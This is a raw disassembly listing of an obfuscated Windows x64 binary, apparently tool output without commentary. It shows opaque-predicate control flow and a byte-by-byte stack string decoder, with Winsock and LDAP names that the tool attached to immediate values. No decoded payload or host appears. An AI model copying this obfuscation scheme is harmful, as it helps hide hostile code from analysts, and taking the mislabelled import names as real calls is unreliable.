cmp rbx, 0x33
jae 0x1400bc65b
movzx r11d, byte [rbp + rbx + 0x240]
mov rdx, r11
nop dword [rax]
cmp r8, rbx
ja 0x1400bc643
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bbb8d
lea rcx, [rbx + rsi]
movzx eax, dl
and al, cl
add al, al
movzx r10d, dl
sub r10b, al
sub r10b, 0x28
add r10b, cl
jmp 0x1400bbbb0
je 0x1400bc5c6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bc598
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bc579
nop dword [rax]
cmp r9, rbx
ja 0x1400bc62b
lea rcx, [r9 + 5]
cmp r8, rcx
jae 0x1400bbbdb
lea r10d, [rbx + 0x78]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, r11b
jmp 0x1400bbc20
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bc52f
inc rax
cmp r8, rax
je 0x1400bc50f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bc505
cmp r8, rcx
je 0x1400bc4eb
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bc464
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400bc19e
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400bc17d
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400bc156
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400bc131
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400bc110
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400bc0f2
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bc0d3
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400bc0b8
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400bc09a
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400bc06a
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400bbc30
lea r8, [r9 + 0x7a]
lea r9, [r8 + 4]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400bc610
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400bc5f1
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400bbe1b
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400bbe01
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400bbde1
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400bc01b
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400bbfd0
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400bbf8d
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400bbf63
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400bbc30
lea r8, [r9 + 9]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400bbf33
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400bbf15
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400bbefa
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400bbedb
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400bbec4
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400bbea3
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400bbe7e
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400bbe56
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400bbe35
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400bbc30
lea r8, [r9 + 0x400]
lea r9, [r8 + 1]
jmp 0x1400bbc30
lea ecx, [rbx - 0x78]
movzx eax, cl
and al, r11b
mov r10d, Ordinal_41
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, r11b
jmp 0x1400bbc20
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x1400bbbb0
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
jmp 0x1400bbb56
lea edx, [rbx - 0x40]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x40
add r10b, dl
movzx edi, bl
jmp 0x1400bc54c
lea edx, [rbx - 0x70]
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400bbb43
lea edx, [rbx + 0x60]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400bbb43
lea edx, [rbx + 0x30]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x50
add r10b, dl
movzx edi, bl
jmp 0x1400bc424
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r8, r9
jmp 0x1400bc5ad
lea edx, [rbx - 0x30]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bc5ad
lea edx, [rbx - 0x60]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x60
jmp 0x1400bc47a
lea edx, [rbx + 0x70]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x10
add r10b, dl
jmp 0x1400bc4a7
lea edx, [rbx + 0x40]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x240]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bbb43
lea edx, [rbx + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
mov byte [rbp + rbx + 0x240], r10b
inc rbx
jmp 0x1400bbb43
lea edx, [rbx + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 3
jb 0x1400bbf7d
movzx edi, bl
lea edx, [rdi - 0x70]
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x1400bc54c
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
cmp r8, 0x200
jae 0x1400bc400
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400bc32f
lea edx, [rbx - 0x50]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bbfa7
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
lea rax, [r9 + r8]
cmp rax, 6
je 0x1400bc44e
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400bc2a1
lea edx, [rbx + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bbfe5
lea edx, [rbx - 0x30]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x240]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bbb43
lea edx, [rbx - 0x60]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x60
add r10b, dl
jmp 0x1400bc4a7
lea edx, [rbx + 0x70]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x10
jmp 0x1400bc47a
lea edx, [rbx + 0x40]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bc5ad
lea ecx, [rbx + 0x10]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
add r8, r9
jmp 0x1400bc5ad
movzx edi, bl
lea edx, [rdi - 0x20]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x20
add r10b, dl
jmp 0x1400bc424
lea edx, [rbx - 0x50]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400bbb43
lea ecx, [rbx + 0x80]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
inc r9
dec rbx
inc rbx
jmp 0x1400bbb43
movzx edi, bl
lea edx, [rdi + 0x50]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x30
add r10b, dl
jmp 0x1400bc54c
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400bc1c1
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
jmp 0x1400bc030
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bc1fa
lea edx, [rbx - 0x10]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x240]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bbb43
inc rax
cmp r8, rax
jne 0x1400bc221
lea edx, [rbx + 0x20]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bc4a7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bc248
lea ecx, [rbx + 0x80]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
jmp 0x1400bc5ad
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bc273
lea edx, [rbx - 0x50]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
jmp 0x1400bc5ad
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bc030
movzx edi, bl
lea edx, [rdi + 0x70]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x10
add r10b, dl
jmp 0x1400bc54c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bc2ba
movzx edi, bl
lea edx, [rdi + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400bc53a
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bc2e4
lea ecx, [rbx - 0x38]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
dec rbx
inc rbx
jmp 0x1400bbb43
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bc303
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x1400bc5a9
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bbfe5
lea edx, [rbx - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bc47d
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400bc364
lea ecx, [rbx - 0x20]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
movzx eax, byte [rbp + rbx + 0x240]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bbb43
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bc389
lea edx, [rbx + 0x40]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400bc47a
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400bc3ad
lea ecx, [rbx + 0x70]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x10
jmp 0x1400bc5ad
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bc3d4
lea ecx, [rbx - 0x60]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
add r8, r9
jmp 0x1400bc5ad
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bbfa7
movzx edi, bl
lea edx, [rdi - 0x30]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bc424
movzx edi, bl
lea edx, [rdi - 0x40]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0x240]
sub r10b, al
sub r10b, 0x40
add r10b, dl
add r10b, r11b
add dil, 0x58
movzx eax, dil
and al, r11b
add al, al
sub dil, al
sub dil, 0x68
add dil, r11b
add dil, r10b
mov byte [rbp + rbx + 0x240], dil
add r8, r9
jmp 0x1400bc5ad
lea edx, [rbx - 0x10]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400bc47a
lea edx, [rbx - 0x38]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x78
add r10b, dl
lea edx, [rbx - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x240], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx + 0x20]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x240], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x240]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bbb43
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
jmp 0x1400bc5ad
lea edx, [rbx + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400bc581
lea ecx, [rbx + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
dec rbx
inc rbx
jmp 0x1400bbb43
movzx edi, bl
lea edx, [rdi - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add dil, 0x28
movzx eax, dil
and al, r11b
add al, al
sub dil, al
sub dil, 0x18
add dil, r11b
mov byte [rbp + rbx + 0x240], dil
inc r9
dec rbx
inc rbx
jmp 0x1400bbb43
lea edx, [rbx - 0x78]
mov ecx, 0x24
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
jmp 0x1400bc5ad
lea rcx, [rbx + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x68
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400bbb43
lea rcx, [rbx + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x78
movzx eax, byte [rbp + rbx + 0x240]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bbb43
sub bl, 8
movzx eax, r11b
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400bbb40
sub bl, 0x38
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x78
jmp 0x1400bbb32
lea rdx, [rbp + 0x14ca460]
mov rcx, qword [0x140220750]
call fcn.1400ca7c0
jmp 0x1400c3a22
lea rdx, [rbp + 0x14f51f8]
mov rcx, qword [0x140220750]
call fcn.1400ca7c0
jmp 0x1400c3a22
lea rdx, [rbp + 0x240]
mov rcx, qword [0x140220750]
call fcn.1400ca7c0
jmp 0x1400c3a22
lea rdx, [0x14021abb0]
lea rcx, [rbp + 0x40]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x38], rax
mov r8, rax
lea rdx, [rbp - 0x50]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
movzx ecx, byte [rax]
mov byte [0x14021c5dc], cl
lea rdx, [0x14021aa70]
lea rcx, [rbp + 0x60]
call fcn.1400022f0
mov rbx, rax
mov qword [rsp + 0x38], rax
mov r8, rax
lea rdx, [rbp - 0x40]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002490
cmp byte [rdi + 0x38], 0
jne 0x1400ca7ba
mov eax, dword [rdi + 0x30]
mov dword [0x14021a898], eax
lea rdx, [0x14021ac50]
lea rcx, [rbp + 0x80]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x38], rax
mov r8, rax
lea rdx, [rbp - 0x30]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
movzx ecx, byte [rax]
mov byte [0x14021c5db], cl
mov byte [0x14021c5da], 1
mov byte [rbp + 0x720], 0xae
mov byte [rbp + 0x721], 0xa1
mov byte [rbp + 0x722], 0xa0
mov byte [rbp + 0x723], 0x9b
mov byte [rbp + 0x724], 0x9f
mov byte [rbp + 0x725], 0xa7
mov byte [rbp + 0x726], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x727], 0xde
mov byte [rbp + 0x728], 0x98
mov byte [rbp + 0x729], Ordinal_143
mov byte [rbp + 0x72a], 0x65
mov byte [rbp + 0x72b], Ordinal_211
mov byte [rbp + 0x72c], 0x9b
mov byte [rbp + 0x72d], 0x9e
mov byte [rbp + 0x72e], __WSAFDIsSet
mov byte [rbp + 0x72f], 0x9f
mov byte [rbp + 0x730], WSAGetLastError
mov byte [rbp + 0x731], 0x83
mov byte [rbp + 0x732], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x733], Ordinal_143
mov byte [rbp + 0x734], 0x81
mov byte [rbp + 0x735], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x736], 0x9d
mov byte [rbp + 0x737], Ordinal_143
mov byte [rbp + 0x738], Ordinal_143
mov byte [rbp + 0x739], Ordinal_143
mov byte [rbp + 0x73a], 0x87
mov byte [rbp + 0x73b], 0x81
mov byte [rbp + 0x73c], 0x86
mov byte [rbp + 0x73d], Ordinal_200
mov byte [rbp + 0x73e], __WSAFDIsSet
mov byte [rbp + 0x73f], 0x86
mov byte [rbp + 0x740], 0x85
mov byte [rbp + 0x741], Ordinal_200
mov byte [rbp + 0x742], __WSAFDIsSet
mov byte [rbp + 0x743], 0x80
mov byte [rbp + 0x744], 0x82
mov byte [rbp + 0x745], 0x76
mov byte [rbp + 0x746], 0x7a
mov byte [rbp + 0x747], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x748], 0x7a
mov byte [rbp + 0x749], 0x76
mov byte [rbp + 0x74a], 0x3d
mov byte [rbp + 0x74b], gethostname
mov byte [rbp + 0x74c], 0x65
mov byte [rbp + 0x74d], Ordinal_50
mov byte [rbp + 0x74e], Ordinal_79
mov byte [rbp + 0x74f], gethostname
mov byte [rbp + 0x750], Ordinal_79
mov byte [rbp + 0x751], 0x62
mov byte [rbp + 0x752], 0x63
mov byte [rbp + 0x753], Ordinal_41
mov byte [rbp + 0x754], Ordinal_46
mov byte [rbp + 0x755], 0x7e
mov byte [rbp + 0x756], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x757], Ordinal_46
mov byte [rbp + 0x758], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x759], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x75a], 0x57
mov byte [rbp + 0x75b], Ordinal_41
mov byte [rbp + 0x75c], Ordinal_41
mov byte [rbp + 0x75d], Ordinal_35
mov byte [rbp + 0x75e], 0x5f
mov byte [rbp + 0x75f], 0x5d
mov byte [rbp + 0x760], 0x5f
mov byte [rbp + 0x761], WSAGetLastError
mov byte [rbp + 0x762], Ordinal_41
mov byte [rbp + 0x763], 0x61
mov byte [rbp + 0x764], Ordinal_33
mov byte [rbp + 0x765], Ordinal_79
mov byte [rbp + 0x766], 0x53
mov byte [rbp + 0x767], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x768], 0x61
mov byte [rbp + 0x769], 0x62
mov byte [rbp + 0x76a], Ordinal_79
mov byte [rbp + 0x76b], 0x47
mov byte [rbp + 0x76c], 0x59
mov byte [rbp + 0x76d], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x76e], 0x44
mov byte [rbp + 0x76f], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x770], 0x55
mov byte [rbp + 0x771], 0x42
mov byte [rbp + 0x772], 0x5b
mov byte [rbp + 0x773], Ordinal_79
mov byte [rbp + 0x774], listen
mov byte [rbp + 0x775], Ordinal_79
mov byte [rbp + 0x776], listen
mov byte [rbp + 0x777], 0x59
mov byte [rbp + 0x778], select
mov byte [rbp + 0x779], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x77a], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x77b], 3
mov byte [rbp + 0x77c], 0x48
mov byte [rbp + 0x77d], 0x55
mov byte [rbp + 0x77e], 6
mov byte [rbp + 0x77f], 4
mov byte [rbp + 0x780], 1
mov byte [rbp + 0x781], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x782], 0
mov byte [rbp + 0x783], 1
mov byte [rbp + 0x784], 0x79
mov byte [rbp + 0x785], 0x7d
mov byte [rbp + 0x786], 1
mov byte [rbp + 0x787], 0x78
mov byte [rbp + 0x788], 0x78
mov byte [rbp + 0x789], 0x7e
mov byte [rbp + 0x78a], Ordinal_46
mov byte [rbp + 0x78b], gethostname
mov byte [rbp + 0x78c], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x78d], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x78e], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x78f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x790], WSAStartup
mov byte [rbp + 0x791], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x792], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x793], reloc.WS2_32.dll_select
mov byte [rbp + 0x794], reloc.WS2_32.dll_select
mov byte [rbp + 0x795], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x796], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x797], WSAGetLastError
mov byte [rbp + 0x798], WSAGetLastError
mov byte [rbp + 0x799], Ordinal_41
mov byte [rbp + 0x79a], WSAGetLastError
mov byte [rbp + 0x79b], 0x53
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x79c], xmm0
mov dword [rbp + 0x7ac], eax
mov word [rbp + 0x7b0], ax
mov byte [rbp + 0x7b2], al
movabs rsi, 0xe6cd6626c1ddfe5d
movabs r15, 0x4f9dcb0f4d11f48b
movabs r14, 0xb46832744599fb17
movzx r10d, byte [rsp + 0x30]
nop dword [rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
mov rdi, r13
cmp rdi, 0x93
jae 0x1400bd6b7
movzx r11d, byte [rbp + rdi + 0x720]
mov rdx, r11
nop dword [rax]
cmp r8, rdi
ja 0x1400bd6ae
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bcb5c
lea rcx, [rdi + rsi]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x75
jmp 0x1400bcb90
je 0x1400bd640
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bd5b9
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bd564
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bd544
nop dword [rax]
cmp r9, rdi
ja 0x1400bd6a5
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1400bcbb9
lea ecx, [rdi - 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x67
jmp 0x1400bcbf0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bd500
inc rax
cmp r8, rax
je 0x1400bd4e0
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bd4c2
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bd497
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400bd158
nop dword [rax]
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400bd135
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bd10d
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400bd0e8
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400bd0c5
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bd0ab
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400bd091
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400bd077
lea rcx, [r9 + 0x5a]
cmp r8, rcx
je 0x1400bd05d
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400bd032
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400bcc00
mov r8, rcx
lea r9, [rcx + 4]
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x1400bd688
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x1400bd66b
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x1400bcde5
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x1400bcdcb
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x1400bcdb1
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x1400bcfe9
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x1400bcfa1
lea rcx, [r9 + 0x20]
cmp r8, rcx
jb 0x1400bcf5b
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400bcf35
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400bcc00
mov r8, rcx
lea r9, [rcx + 0x80]
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x1400bcf05
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x1400bcee6
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x1400bcec7
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x1400bcea8
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x1400bce89
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x1400bce66
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x1400bce45
lea rcx, [r9 + 0x41]
cmp r8, rcx
ja 0x1400bce21
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400bcdff
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400bcc00
mov r8, rcx
lea r9, [rcx + 3]
jmp 0x1400bcc00
lea ecx, [rdi + 0x7f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x79
jmp 0x1400bcbf0
lea ecx, [rdi - 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x63
jmp 0x1400bcb90
lea ecx, [rdi + 0xb]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4d
jmp 0x1400bcb29
lea edx, [rdi + 8]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x38
add r10b, dl
movzx ebx, dil
jmp 0x1400bd519
lea ecx, [rdi + 0x4e]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x22
inc r9
dec rdi
inc rdi
jmp 0x1400bcb13
lea ecx, [rdi - 0x6c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xc
dec rdi
inc rdi
jmp 0x1400bcb13
lea edx, [rdi - 0x26]
movzx eax, r11b
and al, dl
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx ebx, dil
jmp 0x1400bd57d
lea edx, [rdi + 0x20]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bd59d
